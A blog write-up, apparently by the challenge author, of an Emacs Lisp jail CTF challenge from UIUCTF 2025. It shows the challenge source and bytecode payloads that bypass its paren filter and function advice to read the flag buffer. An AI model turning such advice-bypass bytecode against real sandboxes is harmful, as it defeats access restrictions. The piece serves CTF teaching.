2025-11-08
       Tags: misc
       
       Emacsjail  was an Emacs  Lisp  jail  challenge I wrote for
       UIUCTF 2025.
       There were 17  solves during  the  competition, some  of which were
       quite creative!
       
       == Description
       
       
           Mom, can we have SBCL?
           No, we have SBCL at home.
           SBCL at home:
       ;;; -*- lexical-binding:t -*-
       
       (defun check (input)
         (not (string-match-p ".*(.*).*" input)))
       
       (defun panic (str &rest fmt)
         (message str fmt)
         (kill-emacs))
       
       (let* ((input (read-string "Input: "))
              (code (if (check input)
                        (car (read-from-string input))
                   (panic "no eval for you"))))
         (find-file-noselect "./flag.txt")
         (mapcar
          (lambda (sym)
              (advice-add sym :before (lambda (&rest _) (panic "no functional programming allowed: %s" (symbol-name sym)))))
          '(buffer-size following-char preceding-char char-after char-before
            buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
            call-process call-process-region getenv-internal
            find-file-name-handler
            copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
         (unless (functionp code) (panic "only functional programming allowed"))
         (message (funcall code))
         (kill-emacs))
       Bonus round: revengeance
       --- a/challenge.el
       +++ b/challenge.el
       @@ -18,7 +18,9 @@
           '(buffer-size following-char preceding-char char-after char-before
             buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
             call-process call-process-region getenv-internal
       +     set-process-plist make-process make-pipe-process make-serial-process make-network-process
             find-file-name-handler
       +     set-buffer get-buffer get-buffer-create get-file-buffer get-truename-buffer other-buffer find-buffer buffer-local-value buffer-local-variables buffer-swap-text make-overlay
             copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
          (unless (functionp code) (panic "only functional programming allowed"))
          (message (funcall code))
       
       == Solution
       
       
       So we're writing Lisp  code without parens... a little  cursed, but
       ok.
       The first insight is that the read syntax for closures  [1] Closure
       Type\")")  doesn't  (necessarily) use any  parentheses  if  we  use
       bytecode.
       (format "%s (%s check)\n%s (%s check)"
               (lambda nil) (if (check (prin1-to-string (lambda nil))) "passes" "fails")
               (byte-compile (lambda nil)) (if (check (prin1-to-string (byte-compile (lambda nil)))) "passes" "fails"))
       "#[nil (nil) (t)] (fails check)
       #[0 \\300\\207 [nil] 1] (passes check)"
       
       The second insight is that Emacs advice does not apply to functions
       which   have   dedicated   opcodes  in  the  Emacs  Lisp   bytecode
       interpreter.[^fn:1]
       Naturally, this behaviour is documented in the Emacs manual.
       
           It  is  possible to  advise  a  primitive (see  What  Is  a
           Function?  [2]  What Is a  Function\")")),  but  one should
           typically  not  do  so,  for  two  reasons.  Firstly,  some
           primitives are used by  the advice mechanism,  and advising
           them could  cause  an  infinite  recursion.  Secondly, many
           primitives  are  called directly  from  C, and  such  calls
           ignore advice; hence, one  ends up in a confusing situation
           where some calls (occurring from Lisp code) obey the advice
           and other calls (from C code) do not.
       
       There are  two such functions, `set-buffer` and
       `buffer-substring`, that allow us  to extricate
       the flag.
       (defun disass (form)
         (with-temp-buffer
           (disassemble (byte-compile form) (current-buffer))
           (buffer-string)))
       
       (disass (lambda () (set-buffer "*flag.txt*") (buffer-substring (point-min) (point-max))))
       "byte code:
         args: nil
       0       constant  \"*flag.txt*\"
       1       set-buffer
       2       discard
       3       point-min
       4       point-max
       5       buffer-substring
       6       return
       "
       
       (Note that `byte-compile`  can behave strangely
       depending  on your Emacs version  and you might  have to write  the
       bytecode  by hand, in which case the  Emacs Lisp Bytecode Reference
       Manual [3] is very useful.)
       
       At least, that was the intended solve: as it turns out, I forgot to
       advise quite a few functions.
       Take for example the following solution:
       (disass (car (read-from-string "#[0 \"\\300\\301!\\210\\305\\302\\303 \\304 \\\"!\\207\" [set-buffer \"flag.txt\" filter-buffer-substring point-min point-max message] 3]")))
       "byte code:
         args: nil
       0       constant  set-buffer
       1       constant  \"flag.txt\"
       2       call      1
       3       discard
       4       constant  message
       5       constant  filter-buffer-substring
       6       constant  point-min
       7       call      0
       8       constant  point-max
       9       call      0
       10      call      2
       11      call      1
       12      return
       "
       
       [^fn:1]: https://nullprogram.com/blog/2013/01/22/ [4]
       
       References:
 (HTM)   [1] closures
 (HTM)   [2] What Is a Function?
 (HTM)   [3] Emacs Lisp Bytecode Reference Manual
 (HTM)   [4] https://nullprogram.com/blog/2013/01/22/
       >=================================================================<
       
 (DIR) Blog
 (DIR) Writeups
 (DIR) jp
       
       copyright 2026 George Huebner
 (HTM) email